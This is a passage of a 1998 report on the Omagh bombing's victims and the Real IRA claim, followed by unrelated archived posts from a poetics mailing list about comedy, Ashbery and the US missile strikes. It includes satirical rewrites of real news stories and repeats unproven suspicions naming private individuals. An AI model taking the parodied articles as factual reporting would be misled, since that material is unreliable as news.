- Anne McCombe (48) and Geraldine Breslin (43), from Omagh, were also close friends, who it was noted were of different religions. They worked together in Watterson's shop and were on their break when the bomb exploded. On Thursday Anne McCombe's coffin was carried by her husband and two sons into Mountjoy Presbyterian Church where she had been a member of the choir. The Presbyterian Moderator, Dr John Dixon, told the congregation that when the church's General Assembly met in June those present thought they were heralding a new era in which there would be no more funerals arising from paramilitary violence. On the same day the remains of Anne's friend Geraldine Breslin were in St Joseph's Parish Hall near Omagh town centre where her funeral Mass was said by Fr John Forbes and Bishop of Derry Dr Seamus Hegarty. Fr Forbes had officiated at her marriage 18 years earlier.

- Veda Short (56), of Gortaclare in Omagh, worked in the other branch of Watterson's from which she was evacuated. A mother of three and a grandmother, her funeral service was held in Seskinore Presbyterian Church, where her friend and former Minister at the church, the Rev Albin Rankin, described her as a person "who gave so much to so many".

- Jolene Marlow (17), of Newtownsaville, worked in Omagh on Saturdays and had been offered a place to study physiotherapy at the University of Ulster. While she was having lunch with her sister Nickie (15), she was evacuated and, like others, they walked towards the seat of the explosion. Before the blast they had met their great aunt Rosie McNelis (78). Both Nickie and Rosie are being treated for serious injuries in the Royal Victoria Hospital. Jolene's A-level results were due out on the day after she was buried in St Patrick's Cemetery in Eskra. The road to the church was lined by her team mates from the local camogie and football teams.

- Deborah Cartwright (20), from Omagh, was the daughter of an RUC officer and worked in a local beauty salon. Had she lived a few days longer she would have learned that she had earned the required A-level results to take up her place to study at Manchester Metropolitan University. The media respected the family's request to stay away from the funeral at St Columba's Parish Church.

- Elizabeth "Libby" Rush (57), of Omagh, was in her town centre shop when she was killed. Speaking of his loss, her husband Laurence said that they had met at the age of 15, were married at 18 and had been happily married for almost 40 years. At the funeral Mass Fr Michael Keaveney said that the bombing had brought to Omagh "the kind of fame we neither sought nor deserved", whereas "Libby represented what is finest in Omagh. She was caring, warm and friendly".

- Alan Radford (16), was a pupil at Omagh High School and waiting on the results of his GCSE exams. He was in town with his mother but left her briefly when the explosion took place. Marion Radford later spoke with great dignity and no malice about her experience and the loss of her son. Alan was buried after a Mormon service in the family home.

- Olive Hawkes (60), of Omagh, was killed instantly in the blast. The media was asked to stay away from her funeral, which began with a short service at the family home before the actual funeral ceremony in the small Methodist church at Mayne. Mrs Hawkes is survived by her husband Percy, son Mark and daughter Mandy.

- Brian McCrory (45) was a crane driver and had simply gone into town to collect some pills from a chemist. He was one of the last of the victims to be identified and is survived by his wife, two sons and a daughter. At his funeral in Killyclogher it was estimated that there were twice as many mourners left outside the church in the rain as were able to get inside.

- Brenda Logue (17), from Loughmacrory, had travelled the nine miles to Omagh with her mother and grandmother for a shopping trip. All three were in a shop on Market Street but Brenda went outside to see what was causing

the commotion, just as the bomb exploded. Brenda played in goal for her local Gaelic football team and for the Tyrone minor team. Her friends from sport and school formed a guard of honour for her funeral at St Mary's Chapel beside her home in Loughmacrory.

- Gareth Conway (18), Carrickmore, had gone into Omagh to collect a pair of contact lens. Like others among the young victims he was awaiting the results of his A-levels and was looking forward to starting an engineering course at Magee College in Derry. A keen Gaelic footballer, his funeral at St Colm Cille's Church was attended by members of his club, Tattyreagh, and a eulogy was delivered by club manager Niall Darcy. While it was local curate Fr Sean Hegarty who spoke of Gareth during the funeral Mass, also on the altar was Monsignor Denis Faul, who had taken up his duties as Parish Priest of Carrickmore on day of the bombing.

- Philomena Skelton (39), of Drumquin, was on one of her rare visits to the town with her husband Kevin, a well known GAA referee, and their three daughters. They were buying school uniforms and one daughter was also injured. When the bomb exploded Mr Skelton was in the shop next door, only feet from his wife, but escaped physical injury. Shauna (13), whose jaw was broken, was allowed out of hospital to attend her mother's funeral at St Patrick's Church, Drumquin.

WHO WAS RESPONSIBLE?

Everyone assumed that the bomb was the work of the "Real IRA" and on Tuesday evening the dissident group claimed responsibility. In its statement it insisted that no one was meant to die and that the target was commercial. It went on to say that the telephone warnings (two to UTV and one to the Samaritans) clearly stated that the bomb was 300 to 400 yards from the Court House. No one was impressed and the statement created further anger and disgust. UTV responded by saying that the messages it had received placed the bomb at or near the courthouse. Six hours after that statement another was issued saying that it had suspended its campaign of violence. A discussion was to take place to ascertain if members wanted to make this permanent. Some observers said that the second statement came as a result of some very explicit threats from the IRA.

For some time now we have been led to believe that "Real IRA" is the military wing of the 32-County Sovereignty Committee. That suddenly became very important as we did not know the identity of anyone in the "Real IRA" but we were aware of some of the leaders of the 32-County Sovereignty Committee. We had also been led to believe that the leader of the "Real IRA" was a former IRA quartermaster living in Dundalk. It did not take us long to realise that the media was referring to Michael McDevitt, the partner of Bernadette Sands-

McKevitt who helped to found the 32-County Sovereignty Committee. The pair were under the spotlight for much of the week. Without naming them, callers to Joe Duffy's Liveline radio programme started to organise a rally outside their home in Blackrock, a few miles south of Dundalk. In the event those attending the rally confined themselves to staging their protest in a local car park. The names of the couple eventually became widely known. At some stage Ms Sands-McKevitt phoned a local priest to say that they had nothing to do with the Omagh bomb. According to Fr Desmond Campbell she was very upset and within an minute or so Mr McKevitt took over the phone. He insisted that he played no act or part in the bombing and the first he heard about it was on the television. The couple own a business in the Long Walk shopping centre in Dundalk and calls were made for a boycott. This seemed to be fairly effective but didn't satisfy many, including the other shop owners, who wanted them out of the shopping centre. Management obliged and Ms Sands-McKevitt wasn't allowed to enter the premises on Friday.

On Wednesday Ms Sands-McKevitt was interviewed by Joe Duffy and she reiterated that she knew nothing of the Omagh bombing and insisted that there were no links between the "Real IRA" and her organisation. During the interview she used the word "condemn" in relation to the Omagh bombing. The strategy of the 32-County Sovereignty Committee, she said, was to use the United Nations to challenge Britain's right to remain in the North. Before the week was out the United States said that she would not be issued with a visa in respect of a planned trip next month.

The couple have threatened to take legal action against some sections of the media and are being advised by their solicitors with regard to their apparent eviction from the premises in the shopping centre.

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561. Todd Baron /*/ ReMap

A fine Mess--A finely Mess

Tue 25 Aug 1998

I very much like the introduction of comedy--Laurel and Hardy--into a/our discussions on poetics. Spicer's response to Buster Keaton, and others--has always seemed a perfect romance (a fine mess!) with cont. poetics. THat the silent age was an age of true innovation--that the medium of film itself was an intergration of new narrative techniques--that the beauty--the delicate beauty and sadness and lovliness of Keaton, L & H, Fatty A. , H. Llyod, and the "other" big star--was a truly important art form--forum--as depicting a truly "american" world (machine and man and woman--isolation due to industrial rev., the fundamental sadness of capitalism, etc) as is the poetics of "this" world (u.s.a? 20th cent.) in

a way that very few had done before --outside--of writing. A wonderful book on Keaton--now o/p (Buster Keaton) connects Keaton to Borges, Kafka (who most likely saw his work) and Cornell and other plastic artists.

Let's talk more about film and poetry--about the silent age--about the silence in our work. Like my --as my--question on location: see The Desert Landscapes as film! See Keaton as The Sonnets--!

Todd Baron

ps: a great web site: (lacking address right now) is for the DAMFINOS--a Keaton fan club!

pps: Warner Bothers Cartoons!
(ReMap)

↑ Index

562. Billy Little
Re: Funny
Tue 25 Aug 1998

---

funny how commentators and columnists and consultants resist hysteria, que marrant
sometimes i know just one more report of deaths
and i'll giggle
giggle my brains out my nose
go on giggling until i must be sedated or die
will they say in my eulogy, "i remember
his bloodcurdling giggle
his death defying snorts."
this overdose it says on the headstone
brought to you by the CBC
maybe the national,
the creepy white smile of mike duffy
scanning the script for the carnage

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they un-happy, by the way?

Alice James

↑ Index

563. Billy Little
Re: Funny
Tue 25 Aug 1998

---

yes, sitting in the taco bell in the underground shopping mall in cartomb they're reading kenneth koch aloud by candlelight because they don't want to hate americans their grandchildren are americans

billy little
4 song st.
nowhere, b.c. V0R1Z0

ah! those strange people who have the courage to be unhappy! Are they unhappy, by the way?

Alice James

↑ Index

564. Todd Baron /*/ ReMap
Re: funny
Tue 25 Aug 1998

Rodrigo Toscano wrote:
>
> Most people that I dealt with at work the other day --- from clients to fellow
> workers (I work as a social worker here in San Francisco) said something to
> this effect:
>
> "we bombed...we bombed seven sites..."
>
> ...now...
>
> how might that might be changed to (for starters)
>
> "The U.S. military bombed someone"
>
> Or
>
> "We bombed, what the hell is going on anyway?... Media seems to be reading the
> State Department's script again..."
>
> Or any similar (at this point/given where we're at -- revolutionary)
> leap...away from the (scheissekopf) "we bombed"

>
> -- is a rather daunting -- though already in-progress (historical) "to-do"...
>
> see you at
> (very near)
> the bottom of the hill...
>
> *
>
> B.Y.O.P (oems)
>
> *
>
> (The State's necessary mass right-populist base nothwithstanding)
>
> Rodrigo Toscano
>
> Kent Johnson wrote:
>
> "Funny, how in the past 48 plus hours since the U.S. techno
> state-terrorist action (sure to inflame spiralling violence that will
> claim thousands) there has been one single post about it (from Dan
> Bouchard, hurrah) and a poem by Alan Sondheim, hurrah) and many, many
> posts in quite rapid succession (more urgently forthcoming, no doubt)
> about Comedy.
>
> This on what is (who can contest it?) the largest single gathering of
> "oppositional" poets and critics in the history of U.S. poetry.
> (Isn't that really wonderful when you dare to think about it? And
> here you are!)
>
> I wonder if any Sudanese were reading Kenneth Koch when the cruises
> hit?
>
> Ha, Ha, isn't that fucking funny?
>
> Wag the Finger,

and the news--the news--what (news) make it (news)? the stated obvious (obviate the obvious) and how yes, reading Koch? isn't very interesting to say--that we shold drop poetics and all become *aghast* at the obviated--but--without the stated aforementioned policy bomb--what do we WRITE about it? HUH?

"a poem for peace is like a nutcracker for peace"

--Oppen

what then
is DONE?

↑ Index

565. **George Bowering**
Re: The Age of Experience
Tue 25 Aug 1998

What happened was that President Clinton said "You want to see stains on dresses? I'll show you stains on dresses!"

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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566. **Henry Gould**
query
Tue 25 Aug 1998

If anyone has an email address for an editor connected with the mag LVNG (Joel Felix or others), I'd be grateful for it backchannel - thanks - Henry Gould

[redacted]

↑ Index

567. **joel lewis**
Re: Ashbery Review
Tue 25 Aug 1998

---

it seems to me that it has been open season on ashbery's work in last few years. In two profiles i've done w/ poets, both told me they thought he was boring and would be forgotten in the dustbin of history.

i also notice that old pallies of ja sorta badmouth and say he ain't what he was back in the day.

do people get overwhelmed by the production?

↑ Index

568. **Sean Casey**
Re: Ashbery Review
Tue 25 Aug 1998

---

it seems to me that it has been open season on ashbery's work in last few years. In two profiles i've done w/ poets, both told me they thought he was boring and would be forgotten in the dustbin of history.

i also notice that old pallies of ja sorta badmouth and say he ain't what he was back in the day.

do people get overwhelmed by the production?

Joel,

I think production has something to do with it. While prolific poets often write poems "like they were making pasta," oftentimes the more serious offense is inciting the jealousy of fellow poets.

There was an article in the Washington Post magazine (I think) last

fall about the poet Lyn Lifshin, who flooded small magazines

for decades. While she isn't an amazing poet, when the reporter

asked her detractors to comment, many said nothing of the content

of her work, just: "Too many poems!" Lucky for her, John Martin at

Black Sparrow thinks otherwise.

Sean

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569. **Fred Muratori**
Re: Ashbery Review
Tue 25 Aug 1998

Joel Lewis wrote:

> *it seems to me that it has been open season on ashbery's work in last few years. In two profiles i've done w/ poets, both told me they thought he was boring and would be forgotten in the dustbin of history.*
>
> *i also notice that old pallies of ja sorta badmouth and say he ain't what he was back in the day.*
>
> *do people get overwhelmed by the production?*

Not sure overwhelmed is the word, but it seems that contemporary poets who produce "too much" are regarded with some suspicion. Poems, in the Romantic light we've grown accustomed to, are supposed to be produced sparingly, the results of divine inspiration coupled with agonizingly disciplined (if often intuitive) procedural methods. If writing poems looks too easy -- as Logan says with regard to Ashbery -- then we wonder if the poet is just soullessly phoning them in. Ashbery's not alone in being criticized for high output; Ammons is another (three hefty volumes in 6 years, two of them book-length serial poems), and Albert Goldbarth has been taking flak for being prolific for 20+ years. Productive poets also suffer criticism (and I think justifiably so) for their reluctance to break stride, to move out of whatever mode brought them to prominence. Philip Levine's been writing the same 2-3 damned poems on the same 2-3 themes in the same way for 30 years, but as long as he doesn't produce a book every other year, nobody complains. Yeats was prolific, but at least he was willing to alter his style to suit the changes in his own personal development. Too much of a good thing is okay; too much of the same thing is deadly.

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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570. Burt Hatlen
aliens
Tue 25 Aug 1998

A few days ago I downloaded a poem on the list beginning "and the aliens, where are they, in our desperation," but I don't have the name of the author, and have since erased that day's postings. Can anyone tell me who wrote the poem? Backchannel to

Burt Hatlen at [redacted].

↑ Index

571. **Magdalena Zurawski**
Thanks for Klingon
Tue 25 Aug 1998

Thanks to everyone for sending me the names of klingon poets. Christian Bok was the one I was looking for. I made the deadline too.

Maggie

↑ Index

572. **Mark Prejsnar**
Rich inner lives and the State
Tue 25 Aug 1998

Just a comment to Mark Weiss...

I thought of back-chan'ing, as this kind of thing can get pretty drawn out, and certainly ain't poetics. But i guess it is important to make it a public issue.

Mark's point that the two bombs set off in Africa, were ghastly and criminal, i have no argument with...

But the US missles *also* killed innocent noncombatants with rich inner lives...And the military role of the US in the world, and what it's there for (to oppose democracy, reinforce big money, carry out terror and destabilization, use pentagon symbolism to strengthen far-right social agendas at home) make it pretty inevitable that there will continue to be lots of deaths of people with rich inner lives...

mark "noam" prejsnar

↑ Index

573. **Don Cheney**
Re: not-so-funny
Tue 25 Aug 1998

Michael,
maybe the experience of watching it wasn't funny but the idea and image that I'm left with from your message (as someone who did not actually see it) is *very* funny!
Don

> *From: Michael Magee <[redacted]>*
> *Subject: not-so-funny*
> *I just saw, compliments of VH1, Cher and the Osman brothers singing a medley of Stevie Wonder songs dressed in in American flag outfits. Now, that is *not* funny! -m.*

↑ Index

574. daniel bouchard

news that don't stay news isn't really news

Tue 25 Aug 1998

TERROR IN FREEDOM’S LAND: A HUMAN INTEREST (AMERICAN INTEREST) STORY

"Heightened security in Washington signals rising US wariness of terror"

(or, Steer the Panicked Crowd This Way…)

"By Louise D. Palmer, Globe Correspondent, 08/25/98"

(modified by Daniel Bouchard, on BuffListChat, 8/25/98)

WASHINGTON - Security measures have tightened so considerably in the nation’s capital that tourists and area residents are taking the threat of a terrorist attack seriously in a way they never have before. At the Washington Monument, where concrete barriers, more police, and a new security checkpoint were added this weekend, Kenny Horseman admitted he felt afraid, especially when his 10-year-old daughter Abby asked if she was going to be killed.

[Ed. Obs.: The concrete barriers look real nice. They are the true monuments to the American Century. I visited DC right after the Embassy bombings. From Lafayette Park, Douglas Rothschild and I had a clear view of the Secret Service snipers watching the crowd from the White House roof. It had vista.]

"We had to convince her she would be OK,’’ said Horseman, a registered nurse from Herlock, Md. "It makes you wonder if they are going to get us, and it makes you worry.’’

Who they are is who they always were. All we know for sure is they are them. And the other they is constantly informing us as to what them are doing, usually right before we attack them. Right now, apparently, they are stalking little Abby. But despite the Wonder-Worry phenomena now gripping America, it is important to stress for the sake of the children that each attack launched by the US military poses a threat to the safety of America’s Kids, even as it protects them. Through this process, the truth will set us free.

"I was scared we’d be bombed,’’ said Abby, with an embarrassed shrug. Embarrassed as a blend of orwellianisms, half-truths, and propaganda spit themselves out into pre-fab Axioms of Freedom so that in the event of another attack on Americans, we can all agree that we did not do enough the first time to prevent it this time around and can indeed step up the Retaliatory Defense Attacks with suffficient moral justification.

Since last week’s US missile attack on an alleged terrorist network (heinously disguised as a pharmaceutical manufacturing plant) in Afghanistan and Sudan, which followed twin bombings on Aug. 7 at US embassies in Africa, fear for basic personal safety is creeping into the psyche of some visitors, who have long taken America’s geographic isolation as a guarantee of security. The psyche of some visitors has resisted this fear for years. Now, egg on face, they are coming around to What’s Right.

From Union Station and the National Museum of American History to the Capitol building, more police, more barriers, and more gates were added as protective measures. Every good American will be armed for protective measures; Arabs and outspoken dissidents will be treated with suspicion and/or jailed as the "war" intensifies. Poets and artists will be lauded as they ask their noisy counterparts to keep it down.

Even before the embassy bombings, Osama bin Laden, the wealthy Saudi believed to be the mastermind behind those attacks, had announced: "We do not differentiate between those dressed in military uniforms and civilians; they are all targets in this fatwa.’’

On the other hand, the United States has said it does differentiate between those dressed in military uniforms and civilians except, of course, in the event of actual bombings for which all pose of responsibility is discarded. (Besides, who can tell?)

And people, who last week had no idea what "fatwa,’’ a death edict, meant, now appear to be paying attention. Buy two "fatwas" before Labor Day, and get a third "fatwa" half-price.

"Things feel out of control, but you can’t live in constant fear,’’ said Ream Hasan, a mother and part-time teacher in Fairfax, Va., touring the Washington Monument. "These people want to stifle your sense of security, but if you let them, they’ve won.’’ Whether Ms. Hasan was referring to the so-called terrorists of Islamic persuasion, or the not-so-called terrorists of the US military was unclear.

Another tourist, Mike Cahoon, a roofer from Manchester, N.H., said, "I’m thinking retaliation. Hit and you get hit back. It could be anybody anytime. It could be somebody walks by you and boom.’’ Mr. Cahoon was then introduced to Ms. Hasan whom it was hoped would offer tutoring services for grammar and clarity. Mr. Cahoon, however, refused, claiming to be an avid reader of Gertrude Stein.

Cahoon said he doubted terrorists would reach into his corner of New England. "What are they going to do, blow up the granite?’’ As an armed American

however, Cahoon vowed that no nutty Arabs would usurp his right to live free or die.

Yaz Jadallah, a physician visiting from Lansing, Mich., simply said: "I’m not afraid, just more aware.’’ He was carrying several Nutcrackers for Peace.

Rona Fields, a Washington-area psychologist and author of several books on terrorist organizations, who has studied violent groups such as the Khmer Rouge, said a slow psychological transformation is under way in this country. "Unlike some of the previous fear syndromes that have circulated through the populace, this is based in reality,’’ said Fields. For a point of reference she cited the age-old (and ongoing) threat of nuclear annihilation, commonly known now as mass neurosis, with no basis in "reality."

"We’re not talking about a neurotic anxiety, but a response to warnings and the need to mobilize security.’’ Whether the advocacy of "the need to mobilize security" is popular among professional psychologists remains unclear, as does the meaning of the phrase. Fields suggested speeding up the "psychological transformation" toward fear by teaching it in schools, for starters, to little Abby and her playmates.

Fields added: "These are people who see men, women, and children as symbolic targets to be snuffed out." Whether Dr. Fields was referring to the so-called terrorists of Islamic persuasion, or the not-so-called terrorists of the US military was unclear.

Several experts said education and preparation are needed. Several had their ears to the ground. Several expressed desire for the Colonel’s secret recipe.

"If you give people an expectation that there will be reprisals and you heighten awareness, then there won’t be a shock when something occurs, and that minimizes fear,’’ said a government behavioral scientist, who asked not to be identified.

Or: when death comes for the vigilant, the vigilant have one leg up on the others.

This story ran on page A01 of the Boston Globe on 08/25/98. * © Copyright 1998 Globe Newspaper Company.

Any alleged allegations remaining unsubstantiated or even false are protected under the alleged Myth of Objectivity, chap. XI.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
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575. **MAYHEW**
Overproducing Ashbery
Tue 25 Aug 1998

I am one of those people who buy every Ashbery book that comes out--along with everything by Bronk. I remember thinking at a certain point that all he was doing was writing more "Ashberyese"--this was about 10 years ago maybe. This remains a valid criticism, but where is the harm, ultimately? All poets need a certain rhythm of writing to be who they are. Coolidge is another example--if he didn't write so much he wouldn't be Coolidge. And I don't think it is all redundant. Sometimes less is more but sometimes more is more than less. The next Ornette Coleman record probably won't have much that I haven't heard before, but I'll still listen to that too. I've heard Ashbery writes many more poems than he publishes; can anyone confirm this? This adds another wrinkle.

As for Ammons, his work does not hold my attention in the first place, so I can't say whether his case is analogous to that of JA.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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576. **Ron Silliman**
Quartermain's Andrews / N'awlins
Tue 25 Aug 1998

Two things, with no visible correlation:

I want to call attention to Peter Quartermain's wonderful piece on Bruce Andrews' work (esp. _Lip Service_) in the current issue of _Witz._ It's the best piece I've read on Bruce's work and makes me hungry for the forthcoming _Aerial_ on Mr. A.

I will be in New Orleans, at the New Orleans Marriott on Canal Street, from Wednesday PM until Saturday morning (8/26 to 8/29). If there are any Listafarians down that aways, give me a buzz.

Ron Silliman
[redacted]

Do NOT respond
to the [redacted] address.
It is for listservs only.

Get Your Private, Free Email at http://www.hotmail.com

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577. David Cheezem
Re: The Age of Experience
Tue 25 Aug 1998

The only place I get a good sense of how the bombing affected folks in the Arab world is The Christian Science Monitor. Their coverage has been great, asking good, touch questions. They took a pretty good, internationalist look at the Gulf War too.

In a way, the Monica thing was a great reverse pr move. The spinners took a defensive offensive move, raising the wag the dog questions before anyone else could raise those questions themselves, and diverting attention from the merits or lack of the bombings. Maybe they planned the Monica thing to coincide with the bombing, instead of the other way around. Just kidding, I think.

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578. Rodrigo Toscano
Re: Todd B's "funny" post
Tue 25 Aug 1998

Todd B. wrote:

"and the news--the news--what (news) make it (news)? the stated obvious (obviate the obvious) and how yes, reading Koch? isn't very interesting to say--that we shold drop poetics and all become *aghast* at the obviated--but--without the stated aforementioned policy bomb--what do we WRITE about it? HUH?

"a poem for peace is like a nutcracker for peace"

--Oppen

what then
is DONE?"

Dear Todd (list),

:) this post, after promising myself to join other kinds of threads, abstaining from any further jesuistry...eagerly jumping into the hot tub with a cocktail...and join in the banter about american poetics...rather loosely...open to whatever happens..... :(

I'm not sure how you arrived at "that we should all drop poetics" ...and be (simply?)*aghast*(mono-affect) at it all....derived from my post, or Kent's?

If such events are inducing one to "drop" one's poetics, then what "poetics" are those?... that can't withstand or incorporate the complex dynamics of such, indeed, horrible series of events and worsening consequences...and what's driving it ...

(understand this is a friendly inquiry to your inquiry...)

I mean, why has this (does this) come up in this way...here on this list...where "aboutness" -- by so many, including youself, has been explored/decoded/transformed...leading to often more thoroughgoing ways of looking at the intersection of changing political realities and its changing language-scapes...

I don't see it as a "what to do"...but rather, "what is being done (already, collectively)"
to oppose that rubbish...

and however -- directly, obliquely, prismatically, abstractedly, what-have-you -ly)

careen oneself alongside that "being done" (already)....

To kick in, or not kick in, that is the question.....

(or ruse really, since one does already...)

and yes T, -- "the news", in the way that you're saying, the good (less cut) shit -- for "what we will", will come...is coming...and poets are well-diposed to deal it out...

RT

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579. **david bromige**

re : comic writing

Tue 25 Aug 1998

Dont leave out early S.J.Perelman, i.e. _Dawn Ginsberg's Revenge_ and _Crazy Like a Fox_ . Nor his contemporary, Nathaniel West, an early "black-humorist". Dont neglect Stephen Leacock's _Sunshine Sketches of a Little Town_ (Or are Canadians allowed...I've forgotten the couching of the original request). If they are, try _Debbie : An Epic_ , by Lisa Robertson. This work (as many might)

challenges the category of "comedy" or as I prefer for these purposes, "comic writing," in that much of it is comic from one angle only, and some of it, from none. Yet it is richly funny. As is the writing of the other Perelman, Bob, and Listafarians (thanks, Ron) might consult his early, less read (I suppose) books, e.g. _Seven Works_ and _aka_ . Michael Davidson's complex poetry is always liable to become hilarious . . . don't miss his "Surfers' Chorus" (from which tome, anyone?). Randolph Healy is one of the funniest poets alive, and demonstrates that nothing can be funny that has not first been deadly serious. Excuse the partiality of this list, List, but the topic is so broad & inviting. David

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580. **Don Cheney**
re : comic writing
Tue 25 Aug 1998

david,
it's The landing of Rochambeau, isn't it? and isn't it "et in leucadia ego"? (i don't have the book within reach)
my own list of funny would include Michael along with other part-time sandiegans: Lydia Davis, Ron Silliman and Bill Luoma.
don

> *Michael Davidson's complex poetry is always liable to become hilarious . . . don't miss his "Surfers' Chorus" (from which tome, anyone?).*

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581. **Henry Gould**
bombs away
Tue 25 Aug 1998

Into the wide open spaces of poetics,
where there is no metrics, only a vague relief
that it no longer matters, where there is
no syntax, only the feeling it's a serious
textbook sort of word, where there is
so much talk about something which has
no definition, no boundaries, no music or
meaning, finally, except the echo
of some kind of resistance to something,
some time ago - a free-floating
sort of innovative experimenting,
or something -

was it about words?
Did it stand for something?

- Jack "Ashbuggy" Spandrift

[Jack Spandrift was arrested in Angola Louisiana for attempted escape from Angola State Prison there last Friday. He was found having a Jim Beam in Lou Jenkin's Spa 14 miles down the road; while being dragged back to the wagon he was heard shouting "stop the terrorism! War is illegal!", and when confronted by the warden he claimed he had skipped out in order to go to Washington & "give Bill Clinton a piece of his mind" [his words]. The FBI & Secret Service have been alerted, and Spandrift is not expected to be paroled anytime soon (he was doing 5 years anyway for attempting to foist himself off as a "poet" in New York and San Francisco by reciting verse by little-known Canadian Mountie authors at the top of his lungs in c&w bars... sheesh...)

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582. **Mark Weiss**
Re: Rich inner lives and the State
Tue 25 Aug 1998

All of which is true, but not inevitably relevant, despite, say, Ron's claims for what "history has announced" (a pathetic fallacy in more senses than one). I'm claiming space as something of an agnostic on these matters. I'm also claiming that the US military and the govt behind it is sometimes as sloppy in its intent and execution as all of our other institutions. So, in Haiti, for instance, as a byproduct of US desire for stability in its own backyard it helped install a less murderous regime. I was profoundly opposed to our Iraq war, certainly couldn't understand the urgency, and I think a lot of the pre-war propaganda blitz about Saddam's production of "weapons of mass destruction" was generated as an excuse for burying soldiers alive. Amnd the sanctions continue the killing. But then it turns out, I think as as much a surprise to the CIA as to the rest of us, that Saddam was much closer to making such weapons operational than even the propaganda fantasists had told us. He had only arrived at that point by virtue of being our boy on the block for a lot of years: we paid the bills, but the boy had his own agenda. I don't think that this justified all that killing, but I don't have any solutions to propose, either. It's a complex world, and linear political theories may not cover all the phenomena. The question remains, I think, given where we are at the moment, what's to be done? Perhaps the missile attacks will have no positive impact, although as to increasing the ire of the bombers, it's hard to imagine they will inspire them with a will to violence that they didn't already possess. Perhaps the only thing that would work would be for the whole world to share the same level of prosperity and power. Great, but

not likely to answer the immediate threat. Nor has prosperity stopped people from throwing things at each other in the past. History, when he was my teacher, told me that. So, if overt action won't work is there something else that might?

I do think that this discussion belongs backchannel, and I'll be happy to continue it there.

At 10:40 AM 8/25/98 -0400, you wrote:
>Just a comment to Mark Weiss...
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>I thought of back-chan'ing, as this kind of thing can get pretty drawn
>out, and certainly ain't poetics. But i guess it is important to make it
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>destabilization, use pentagon symbolism to strengthen far-right social
>agendas at home) make it pretty inevitable that there will continue to be
>lots of deaths of people with rich inner lives...
>
>mark "noam" prejsnar
>
>

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583. **daniel bouchard**
Hurricane Bonnie ordered Clinton killed
Tue 25 Aug 1998

A HURRICANE IS LITERATURE THAT STAYS A HURRICANE

NAGS HEAD, N.C. - More than a quarter of a million residents and visitors were ordered to leave North Carolina's low-lying, exposed Outer Banks today as Saudi millionaire Osama bin Laden (the alleged plotter) accelerated on a path that could carry its fury into the barrier island chain.

The National Weather Service said Saudi millionaire Osama bin Laden (the alleged plotter)'s center with its 115 mph wind could be near the Outer Banks by late Wednesday morning.

Terrorist warnings were posted from Murrells Inlet, S.C., to the North Carolina-Virginia state line. Saudi millionaire Osama bin Laden (the alleged plotter) watches extended south to Savannah, Ga., and north to Cape Henlopen, Del.

While the Saudi millionaire Osama bin Laden (the alleged plotter) was still hundreds of miles away, the Atlantic was showing its effects with 10-foot waves reported on the North Carolina beach. Gray, white-capped waves hit the New Jersey shore in breakers 4 feet to 6 feet high, pounding onto the sand with a dull roar.

Margaret Boone wasn't surprised that her vacation to the Outer Banks with six friends was ending today rather than Saturday. ''I just knew we was going to get run home,'' said Boone, of Thurmont, Md.

The state of Virginia and some coastal communities elsewhere had already banned swimming because of Saudi millionaire Osama bin Laden (the alleged plotter) who is blamed for three drownings over the weekend in South Carolina, North Carolina and Delaware.

''People were getting sucked out left and right,'' said Margate Beach, N.J., lifeguard Mike Palmer. One man was missing Monday in the surf off Point Pleasant Beach.

By midmorning today, the Saudi millionaire Osama bin Laden (the alleged plotter) was centered about 340 miles south of Cape Hatteras, which sits on the Outer Banks 50 miles south of Nags Head.

Saudi millionaire Osama bin Laden (the alleged plotter)'s outer ring of clouds was not even reaching the mainland yet by late morning as Saudi millionaire Osama bin Laden (the alleged plotter) moved toward the north-northwest.

In three hours, Saudi millionaire Osama bin Laden (the alleged plotter)'s forward motion increased from 11 mph to about 16 mph, and it was expected to turn gradually toward the north tonight, the weather service said.

Evacuation orders were posted today for the Outer Banks sections of Dare and Currituck counties, the island of Ocracoke and beach communities along the state's southern coast near Wilmington. Residents and tourists were urged to head for the mainland immediately. Ocracoke is accessible only by ferry.

Although the Saudi millionaire Osama bin Laden (the alleged plotter) warning covered part of South Carolina, Gov. David Beasley said today there was no reason yet to evacuate any of that state's coast.

People on the Outer Banks were urged to head for the mainland immediately.

But as dawn broke with a blue sky, runners took their morning jog on the beach road and golfers kept their tee times.

Paul Peck, a retiree from Charlottesville, Va., said he'd never experienced a Saudi millionaire Osama bin Laden (the alleged plotter) and wanted to watch the ocean change.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

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584. Michael Magee
Re: Rich inner lives and the State
Tue 25 Aug 1998

I'm in basic agreement with Mark on this and, while I appreciate his offer to back channel the whole thing, I do think that the framing of this political issue going on on this list is of relevance at least to a discussion of rhetoric if not poetics proper. I see 2 problems with the rhetroic of conspiracy in regard to these bombings and the events surrounding them. 1) the conspracy theorist always inadvertantly apotheosizes the alledged conspirator: thus the Pentagon becomes all-powerful and unknowable agent rather than what it actually is: a bunch of mostly stupid people with mostly stupid views and too much power. The difference between a high Pentagon official and the right wing asshole who manages your local Sears is mostly a difference in weaponry and scale: which is to say, the sad truth of this bombing is that it probably transpired on the basis of two related thoughts in the collective brains of these numbskulls: a) "I like guns" and b) "those guys just bombed our embassy, let's go kick ass." We have a better chance of changing political culture if we recognize this than if we assume the Pentagon is run by a bunch of sorcerers bent on world domination. 2) a conspiratorial view of events robs us of the one tool we as writers actually have which is valuable, namely, the power of description. I don't simply mean that we should describe the events "actually" - I mean we should do our best both to meticulously describe those events (the radical journalist's duty) *as well as* describe the rhetoric via which those events were allowed by the culture to proceed and stand (the poet's). When we say, this is just another example of American hegemonic strong-arming, we actually say nothng at all: we are just the flipside of what gets said in Newsweek. This is why I appreciate the

